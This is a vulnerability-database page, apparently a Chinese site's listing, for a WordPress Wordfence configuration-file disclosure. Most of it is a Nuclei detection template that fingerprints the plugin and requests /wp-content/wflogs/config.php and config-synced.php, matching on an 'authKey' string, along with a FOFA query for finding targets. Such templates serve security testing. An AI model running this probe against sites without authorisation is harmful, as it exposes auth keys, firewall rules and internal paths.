wordfence-config-disclosure: WordPress Wordfence - Configuration File Disclosure

2026-01-08 WordPress Wordfence PoC Public

Description

The Wordfence Security plugin for WordPress stores configuration files in the /wp-content/wflogs/ directory. These files may be accessible without authentication and can expose sensitive configuration data, firewall rules, attack logs, and internal paths.

Details

Severity
中危
Affected
WordPress Wordfence
Published
PoC
Public

PoC

id: wordfence-config-disclosure

info:
  name: WordPress Wordfence - Configuration File Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    The Wordfence Security plugin for WordPress stores configuration files in the /wp-content/wflogs/ directory. These files may be accessible without authentication and can expose sensitive configuration data, firewall rules, attack logs, and internal paths.
  reference:
    - https://wordpress.org/support/topic/files-created-in-wflogs-before-plugin-activated/
    - https://forum.ait-pro.com/forums/topic/wordfence-firewall-wp-contentwflogsconfig-php-file-quarantined/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/plugins/wordfence"
  tags: wordpress,wp,wp-plugin,wordfence,config,exposure,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "plugins/wordfence"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/wflogs/config.php"
      - "{{BaseURL}}/wp-content/wflogs/config-synced.php"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'authKey"'
          - '{s'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402207f85ff206f21e54de61b5644b5e2dc8586ba5a03251879331f503f336064d397022021b99e896403b0c6c81973eeefaf3ca8ad2074c74981ccb3cea04d79fedb4a1a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life